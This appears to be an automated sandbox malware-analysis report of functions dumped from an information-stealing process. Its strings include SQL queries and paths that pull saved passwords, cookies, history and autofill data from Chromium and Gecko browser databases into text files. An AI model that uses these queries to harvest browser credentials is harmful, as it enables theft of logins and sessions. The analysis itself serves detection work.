Opcode Fuzzy Hash: d1f69fe04c70cb7a0b95ab5c38d7ad6aa2761ebd399cda80db1e2a7908f79562
Instruction Fuzzy Hash: B0C1B831208301AFD314AB15E846A6FB7E5EFC4314F60492FF185961D2EFB9FC858A1A

Uniqueness

Uniqueness Score: -1.00%

Function 00410C02 Relevance: 31.8, APIs: 8, Strings: 10, Instructions: 297COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00410CC9

Part of subcall function 00420863: _strlen.LIBCMT ref: 00420877

_strlen.LIBCMT ref: 00410D08
_strlen.LIBCMT ref: 00410D47
_strlen.LIBCMT ref: 00410E09
_strlen.LIBCMT ref: 00410E2D
_strlen.LIBCMT ref: 00410E53
_strlen.LIBCMT ref: 00410EB7
_strlen.LIBCMT ref: 00410EE5

Strings

Password: , xrefs: 00410D40, 00410D4E
URL: , xrefs: 00410CC4, 00410CD0
Key: , xrefs: 00410EB2, 00410EBE
Application: , xrefs: 00410E03, 00410E08
Username: , xrefs: 00410D01, 00410D0F
Passwords.txt, xrefs: 00410F14
%ls\Login Data, xrefs: 00410C23
Find chromium login data db %ls, xrefs: 00410C7E
SELECT origin_url, username_value, password_value FROM logins, xrefs: 00410C91
===============, xrefs: 00410E4D, 00410E52

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: ===============$Application: $Key: $Password: $Username: $%ls\Login Data$Find chromium login data db %ls$Passwords.txt$SELECT origin_url, username_value, password_value FROM logins$URL:
API String ID: 4218353326-1496998197
Opcode ID: 34c4f87b64fcd5891e0d0ae79427ff5468bca61e98a7481b5620a09199422632
Instruction ID: 74133c807c232cb32495e78726fce763528934d12562b530fb2c68ecdd266b82
Opcode Fuzzy Hash: 34c4f87b64fcd5891e0d0ae79427ff5468bca61e98a7481b5620a09199422632
Instruction Fuzzy Hash: 5C91B4312087019FD314AB15E846A6BB7E5EFC4314FA0482FF185961D2EFB9EC858B0A

Uniqueness

Uniqueness Score: -1.00%

Function 0041082D Relevance: 30.1, APIs: 7, Strings: 10, Instructions: 352COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00410940
_strlen.LIBCMT ref: 00410993
_strlen.LIBCMT ref: 004109CD
_strlen.LIBCMT ref: 00410B21
_strlen.LIBCMT ref: 00410B4D

Strings

FALSE, xrefs: 00410934, 00410939, 0041098B, 00410990
d`B, xrefs: 0041085F
Key: , xrefs: 00410B1C, 00410B28
Cookies, xrefs: 00410857
%ls\%ls, xrefs: 00410864
Network\Cookies, xrefs: 0041084D
TRUE, xrefs: 0041092D, 00410984
SELECT host_key, is_httponly, path, is_secure, expires_utc, name, encrypted_value FROM cookies, xrefs: 004108D5
Cookies/%ls_%ls.txt, xrefs: 00410B79
Find chromium cookies db %ls, xrefs: 004108C2

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: FALSE$TRUE$Key: $%ls\%ls$Cookies$Cookies/%ls_%ls.txt$Find chromium cookies db %ls$Network\Cookies$SELECT host_key, is_httponly, path, is_secure, expires_utc, name, encrypted_value FROM cookies$d`B
API String ID: 4218353326-3674842216
Opcode ID: a62ed2a931d151204972e487f693825a2e5a466c7e54cacb0634607cf990ee85
Instruction ID: d50d6a5fc03dc0d0bad649c4888e579a2eaf9a8aa92ba59815119d3abd2ec5eb
Opcode Fuzzy Hash: a62ed2a931d151204972e487f693825a2e5a466c7e54cacb0634607cf990ee85
Instruction Fuzzy Hash: 6BB1D6312083005FD315AB65E846A6BB7E5EFC4354F60492FF185961E2EFB9FC858A09

Uniqueness

Uniqueness Score: -1.00%

Function 00415CF5 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 256COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00415DE7
_strlen.LIBCMT ref: 00415E40
_strlen.LIBCMT ref: 00415E7C

Strings

FALSE, xrefs: 00415DDF, 00415E36, 00415E3B
%ls\cookies.sqlite, xrefs: 00415D12
Find gecko cookies db %ls, xrefs: 00415D69
TRUE, xrefs: 00415DD6, 00415DE6, 00415E2F
Cookies/%ls_%ls.txt, xrefs: 00415F22
SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies, xrefs: 00415D7C

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: FALSE$TRUE$%ls\cookies.sqlite$Cookies/%ls_%ls.txt$Find gecko cookies db %ls$SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
API String ID: 4218353326-1388935154
Opcode ID: c2f79a6fd544e1854c6559204af5a7c947ad5de41151dbb6026a17d9cc28efff
Instruction ID: 4bc6585767f5b32044a8a7cb20e0e5ce008c76f45487b972d744cf8c4b01e36e
Opcode Fuzzy Hash: c2f79a6fd544e1854c6559204af5a7c947ad5de41151dbb6026a17d9cc28efff
Instruction Fuzzy Hash: 9671D932208700AFD3146B25EC4AAABB7E5EFC4724F64092FF146951D2EF79FC458A49

Uniqueness

Uniqueness Score: -1.00%

Function 00415933 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 169COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004159EF

Part of subcall function 00420863: _strlen.LIBCMT ref: 00420877

_strlen.LIBCMT ref: 00415A2B
_strlen.LIBCMT ref: 00415A6A

Strings

Title: , xrefs: 004159E9, 004159EE
SELECT title, url FROM moz_places, xrefs: 004159BA
%ls\places.sqlite, xrefs: 00415950
History/%ls_%ls.txt, xrefs: 00415AA0
Find gecko history db %ls, xrefs: 004159A7
Url: , xrefs: 00415A24, 00415A32
===============, xrefs: 00415A63, 00415A71

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: ===============$Url: $%ls\places.sqlite$Find gecko history db %ls$History/%ls_%ls.txt$SELECT title, url FROM moz_places$Title:
API String ID: 4218353326-1635991628
Opcode ID: a04d06912af2cab947aa6479d5adcfdd77cf32d7d874856e0f88f573d14832e8
Instruction ID: a9e7305f2cb9214be6ac8123cbbd8a61e8a00e01b7f003ce8233593033b19f93
Opcode Fuzzy Hash: a04d06912af2cab947aa6479d5adcfdd77cf32d7d874856e0f88f573d14832e8
Instruction Fuzzy Hash: CF41E832208700AFD314AB65E846AAFB7E5DFC4724F60092FF445951D2DF79EC858A0E

Uniqueness

Uniqueness Score: -1.00%

Function 004101C8 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 169COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00410284

Part of subcall function 00420863: _strlen.LIBCMT ref: 00420877

_strlen.LIBCMT ref: 004102C0
_strlen.LIBCMT ref: 004102FF

Strings

Title: , xrefs: 0041027E, 00410283
SELECT url, title FROM urls, xrefs: 0041024F
%ls\History, xrefs: 004101E5
History/%ls_%ls.txt, xrefs: 00410335
Find chromium history db %ls, xrefs: 0041023C
Url: , xrefs: 004102B9, 004102C7
===============, xrefs: 004102F8, 00410306

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: ===============$Url: $%ls\History$Find chromium history db %ls$History/%ls_%ls.txt$SELECT url, title FROM urls$Title:
API String ID: 4218353326-1984767002
Opcode ID: 5c047e8121f097c5b6b9613aae5ce6b4be7a349e47f2e729749b369f2f3b83b4
Instruction ID: 07fa1c8d479b46b7cac195a5881fa93170089cc5fef340dbf83a20fcf0fd5743
Opcode Fuzzy Hash: 5c047e8121f097c5b6b9613aae5ce6b4be7a349e47f2e729749b369f2f3b83b4
Instruction Fuzzy Hash: A341D832204700AFD314BB25E846A6FB7E5EF84724F60092FF485951D2EFB9EC854A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00415B14 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 169COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00415BD0

Part of subcall function 00420863: _strlen.LIBCMT ref: 00420877

_strlen.LIBCMT ref: 00415C0C
_strlen.LIBCMT ref: 00415C4B

Strings

%ls\formhistory.sqlite, xrefs: 00415B31
Name: , xrefs: 00415BCA, 00415BCF
Value: , xrefs: 00415C05, 00415C13
SELECT fieldname, value FROM moz_formhistory, xrefs: 00415B9B
Autofills/%ls_%ls.txt, xrefs: 00415C81
===============, xrefs: 00415C44, 00415C52
Find gecko autofills db %ls, xrefs: 00415B88

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: ===============$Value: $%ls\formhistory.sqlite$Autofills/%ls_%ls.txt$Find gecko autofills db %ls$Name: $SELECT fieldname, value FROM moz_formhistory
API String ID: 4218353326-185352022
Opcode ID: a729f1da289c89dcedc187abad8c2725058a3b94328b2e156cf91f3c0c8a2dfd
Instruction ID: 002f6535b980426fa40c09b88bacce44c576ace6cf8ce3da47883b106b009cca
Opcode Fuzzy Hash: a729f1da289c89dcedc187abad8c2725058a3b94328b2e156cf91f3c0c8a2dfd
Instruction Fuzzy Hash: 5941C732208700AFD3146F25EC46AABB7E5EFC4724F60092FF045951D2EE79EC854A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00404A01 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00404B20
___TypeMatch.LIBVCRUNTIME ref: 00404C2E
_UnwindNestedFrames.LIBCMT ref: 00404D80
CallUnexpected.LIBVCRUNTIME ref: 00404D9B

Strings

csm, xrefs: 00404A3E
csm, xrefs: 00404AAB
csm, xrefs: 00404B57
|^B, xrefs: 00404B17

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$|^B
API String ID: 2751267872-811700274
Opcode ID: 7d37d3c4ffd220443c7222bbea63b661a3f1548b3ea3311a7a9fc63002989ae1
Instruction ID: 318750c175b359df0e61ee68a01546a9189821f288a54402d07c8c122b23c8f5
Opcode Fuzzy Hash: 7d37d3c4ffd220443c7222bbea63b661a3f1548b3ea3311a7a9fc63002989ae1
Instruction Fuzzy Hash: 88B189B19002099FCF15DFA5D881AAEB7B5EF84314B14406FEA017B282D739EA51CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00403B00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00403B37
___except_validate_context_record.LIBVCRUNTIME ref: 00403B3F
_ValidateLocalCookies.LIBCMT ref: 00403BC8
__IsNonwritableInCurrentImage.LIBCMT ref: 00403BF3
_ValidateLocalCookies.LIBCMT ref: 00403C48

Strings

csm, xrefs: 00403BDD

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 32780eb9e33b20fd96d1563064fbca83b487cc5fe015308da3fe73b12e02aeb3
Instruction ID: 885d01271745f50c62068e63161c8804f53ca9656e80eb4b3b3775c2da750b55
Opcode Fuzzy Hash: 32780eb9e33b20fd96d1563064fbca83b487cc5fe015308da3fe73b12e02aeb3
Instruction Fuzzy Hash: 5741C830A002059BCF10DF29C845A9EBFB8AF45319F14807AE814BB3D2D739EB55CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00408023 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00408130,0040ABD7,?,00000000,00000000,00000000,?,004082A9,00000021,FlsSetValue,00422480,00422488,00000000), ref: 004080E4

Strings

api-ms-, xrefs: 0040807A
ext-ms-, xrefs: 0040808E

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 44a9578c522c203eb6f4023621cfffff400f3870a31b77ba5826ef55131de34d
Instruction ID: 7abc8af54976894c96b949f995117f285a82d72853e8acc766c955d7d67ee831
Opcode Fuzzy Hash: 44a9578c522c203eb6f4023621cfffff400f3870a31b77ba5826ef55131de34d
Instruction Fuzzy Hash: 79210531B01212EBDB319B21ED40A9B7B589B61360F26013AE952F73D1DF38ED05C6D8

Uniqueness

Uniqueness Score: -1.00%

Function 00404051 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00404048,00403E7C,00401798), ref: 0040405F
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040406D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00404086
SetLastError.KERNEL32(00000000,00404048,00403E7C,00401798), ref: 004040D8

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a73885b8d3815fc901a1a4802135d19d654ffd2aeec85901c5facc3ec25c9c46
Instruction ID: 867bc5f521e57a22a57448bf1ceb9bb218e204c186ea85866c263debe0979425
Opcode Fuzzy Hash: a73885b8d3815fc901a1a4802135d19d654ffd2aeec85901c5facc3ec25c9c46
Instruction Fuzzy Hash: B501F1B270A7126EE63027B67C8596B2694EB81779760023FFB10751F5EE790C46514C

Uniqueness

Uniqueness Score: -1.00%

Function 00408CE5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe, xrefs: 00408D01

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
API String ID: 0-448403072
Opcode ID: e6068b332d387150f1548d5af5af409e1b7254c9f8f6e58787311fde7850ae41
Instruction ID: f02fbf873b37c75a04a58c19c0be9bf98bea9b5c97463d77d896d6f256cf3f17
Opcode Fuzzy Hash: e6068b332d387150f1548d5af5af409e1b7254c9f8f6e58787311fde7850ae41
Instruction Fuzzy Hash: D221C271600205AFDB20AF62DD4096B7769AF60368720863FF894B72D0DF38EC008799

Uniqueness

Uniqueness Score: -1.00%

Function 00406896 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,97977399,?,?,00000000,0042096C,000000FF,?,00406826,?,?,004067FA,00000000), ref: 004068CB
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004068DD
FreeLibrary.KERNEL32(00000000,?,?,00000000,0042096C,000000FF,?,00406826,?,?,004067FA,00000000), ref: 004068FF

Strings

CorExitProcess, xrefs: 004068D5
mscoree.dll, xrefs: 004068C4

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 67599becf09fb7a2326ee0ea9f0a278219b7e89fffb891836b3c3607991a0edc
Instruction ID: 363cfaa4b0c382d79b586e3992105b9df78960418dd86a91b56da92a5972baaf
Opcode Fuzzy Hash: 67599becf09fb7a2326ee0ea9f0a278219b7e89fffb891836b3c3607991a0edc
Instruction Fuzzy Hash: 1201A771A10669EFDB219F50DC05BBFB7B8FB04B10F41463AF812A26E0DB789940CA58

Uniqueness

Uniqueness Score: -1.00%

Function 0040BD14 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0040BD9B
__alloca_probe_16.LIBCMT ref: 0040BE5C
__freea.LIBCMT ref: 0040BEC3

Part of subcall function 004075DC: RtlAllocateHeap.NTDLL(00000000,00409265,0040ABD7,?,00409265,00000220,?,?,0040ABD7), ref: 0040760E

__freea.LIBCMT ref: 0040BED8
__freea.LIBCMT ref: 0040BEE8

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: acd8108809f089dfa5cfbdb0c152dde97ec9e6bbdd4bc5fb64606e3298761bb4
Instruction ID: 70948a27c81b7b3f8315839b97b1985a7ffdba9706d400b9983f7ef9f0fddc6d
Opcode Fuzzy Hash: acd8108809f089dfa5cfbdb0c152dde97ec9e6bbdd4bc5fb64606e3298761bb4
Instruction Fuzzy Hash: A151A07260021AAFDB219F65CC41EFB76A9EF44714B15013AFE08F6291EB79CD1086ED

Uniqueness

Uniqueness Score: -1.00%

Function 00404273 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00404224,00000000,?,00428F98,?,?,?,004043C7,00000004,InitializeCriticalSectionEx,00421C24,InitializeCriticalSectionEx), ref: 00404280
GetLastError.KERNEL32(?,00404224,00000000,?,00428F98,?,?,?,004043C7,00000004,InitializeCriticalSectionEx,00421C24,InitializeCriticalSectionEx,00000000,?,00404147), ref: 0040428A
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 004042B2

Strings

api-ms-, xrefs: 00404297

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 48fdaefccb989ffb42319a0749415aec14dad1fb5b508b2d7c0d398419b00ef2
Instruction ID: b78e5df8f07cc3277ba51223623ed357a3902859434fed37a618fbf8151af571
Opcode Fuzzy Hash: 48fdaefccb989ffb42319a0749415aec14dad1fb5b508b2d7c0d398419b00ef2
Instruction Fuzzy Hash: 93E04F70784244BBEF201F61EC06B9A3E99AB60B85F600075FB0DF85F1E775A851958C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0FB Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(97977399,?,00000000,?), ref: 0040C15E

Part of subcall function 004097E7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0040BEB9,?,00000000,-00000008), ref: 00409893

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040C3B9
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0040C401
GetLastError.KERNEL32 ref: 0040C4A4

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 00d09e59c7a7890e52102297f1fa7fd4554a1d4f697cb9294babfb76d1ef8664
Instruction ID: bb2e2e59c8dbbeed5f6c3235856144b61699062ce09e0123de7b8aaa28e2d2e2
Opcode Fuzzy Hash: 00d09e59c7a7890e52102297f1fa7fd4554a1d4f697cb9294babfb76d1ef8664
Instruction Fuzzy Hash: 53D15975E00248DFCB15CFA8D8D09AEBBB5FF49314F18826AE815F7392D634A942CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004047AA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00404871
___AdjustPointer.LIBCMT ref: 00404894
___AdjustPointer.LIBCMT ref: 00404930

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: acc0da11450383d4777ec28946b847f680d22c877aea8489b194dfa7dfd859c6
Instruction ID: e53bd286a0c3b1d5ccbc8790c75c1d61b031a7852c61ecfaa60f23d858c631b2
Opcode Fuzzy Hash: acc0da11450383d4777ec28946b847f680d22c877aea8489b194dfa7dfd859c6
Instruction Fuzzy Hash: 455118BBA002459FDB25AF51D841B6B77A4EF80314F20893FEA01672E1E738ED50D799

Uniqueness

Uniqueness Score: -1.00%

Function 00417683 Relevance: 6.2, APIs: 4, Instructions: 152synchronizationthreadCOMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004177B6
CreateThread.KERNEL32 ref: 00417833
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041786D
CloseHandle.KERNEL32(00000000), ref: 00417880

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleObjectSingleThreadWait_strlen
String ID:
API String ID: 3663742530-0
Opcode ID: 283ede96d0d27ac85d4567d14aea910ade2eae4ff593e9fe36ca42cff8406920
Instruction ID: b370ba86c93562e70e4c61c92d02a0e3ce1c07dac31b0ce9e7ddd1b34ecf5ee9
Opcode Fuzzy Hash: 283ede96d0d27ac85d4567d14aea910ade2eae4ff593e9fe36ca42cff8406920
Instruction Fuzzy Hash: 4A516EF0E072958ECB14DFA9A8514FE7FB4BE25300B50017FD451AB362DA384586CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040857D Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 004097E7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0040BEB9,?,00000000,-00000008), ref: 00409893

GetLastError.KERNEL32 ref: 004085E1
__dosmaperr.LIBCMT ref: 004085E8
GetLastError.KERNEL32(?,?,?,?), ref: 00408622
__dosmaperr.LIBCMT ref: 00408629

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 1119186e6ebaa49da5350188852217b48243f62e845a9144b44000340d2fa09f
Instruction ID: 876d815af6cc116fe387acb3da1442d7ef8396a34844fc74f9f8b904c6e67f48
Opcode Fuzzy Hash: 1119186e6ebaa49da5350188852217b48243f62e845a9144b44000340d2fa09f
Instruction Fuzzy Hash: F521F871600215AFDB20AF66CD4086BB7A9FF04368700843EF994B76D1DF39ED418B99

Uniqueness

Uniqueness Score: -1.00%

Function 004098D5 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004098DD

Part of subcall function 004097E7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0040BEB9,?,00000000,-00000008), ref: 00409893

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00409915
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00409935

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 19da0e1ba00302543c67d928137a48584ae12e7a66a99bc316f7115bf2f74441
Instruction ID: 9a07beaad0e4f2357236c43238ece3da9bafae94e549d54f2b70604529c5493e
Opcode Fuzzy Hash: 19da0e1ba00302543c67d928137a48584ae12e7a66a99bc316f7115bf2f74441
Instruction Fuzzy Hash: DA11A5E2A151157FE62127B75C8ACAF795CEE853D8710003EF802B1292EE3CDE02817D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8F6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,0040D0B3,?,00000001,?,?,?,0040C4F8,?,?,00000000), ref: 0040D90D
GetLastError.KERNEL32(?,0040D0B3,?,00000001,?,?,?,0040C4F8,?,?,00000000,?,?,?,0040CA7F,?), ref: 0040D919

Part of subcall function 0040D8DF: CloseHandle.KERNEL32(FFFFFFFE,0040D929,?,0040D0B3,?,00000001,?,?,?,0040C4F8,?,?,00000000,?,?), ref: 0040D8EF

___initconout.LIBCMT ref: 0040D929

Part of subcall function 0040D8A1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0040D8D0,0040D0A0,?,?,0040C4F8,?,?,00000000,?), ref: 0040D8B4

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,0040D0B3,?,00000001,?,?,?,0040C4F8,?,?,00000000,?), ref: 0040D93E

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 4657cde650f0b9cc56e0a4d3746979a27570b39c6b57bb9af1f3b05b6f034eed
Instruction ID: b696b1c5d9c2a8eb266d557258b7efea6dc9b35813eaee02a0f7c3ae889bae92
Opcode Fuzzy Hash: 4657cde650f0b9cc56e0a4d3746979a27570b39c6b57bb9af1f3b05b6f034eed
Instruction Fuzzy Hash: 69F01276500158BBCF323FD5DC05A8A3F66FF45371B404035FA19A5170C6358861EB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404DA6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00404DCB

Strings

MOC, xrefs: 00404DDD
RCC, xrefs: 00404DE5

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: b62cef0e7d8ae5d1abf9153978f7aeee9e93632de33b23253b3f5fa4e1f04190
Instruction ID: 1ce0887cde9ea1a8b2d31cac9522942157addba331361ea08eba9a878d59deed
Opcode Fuzzy Hash: b62cef0e7d8ae5d1abf9153978f7aeee9e93632de33b23253b3f5fa4e1f04190
Instruction Fuzzy Hash: CA414DB1900109AFCF15DF94CD81AAFBBB5FF88304F14406AFA04772A1D3399960DB98

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: c5286836.exePID: 7136, Parent PID: 6520COMMON

Executed Functions

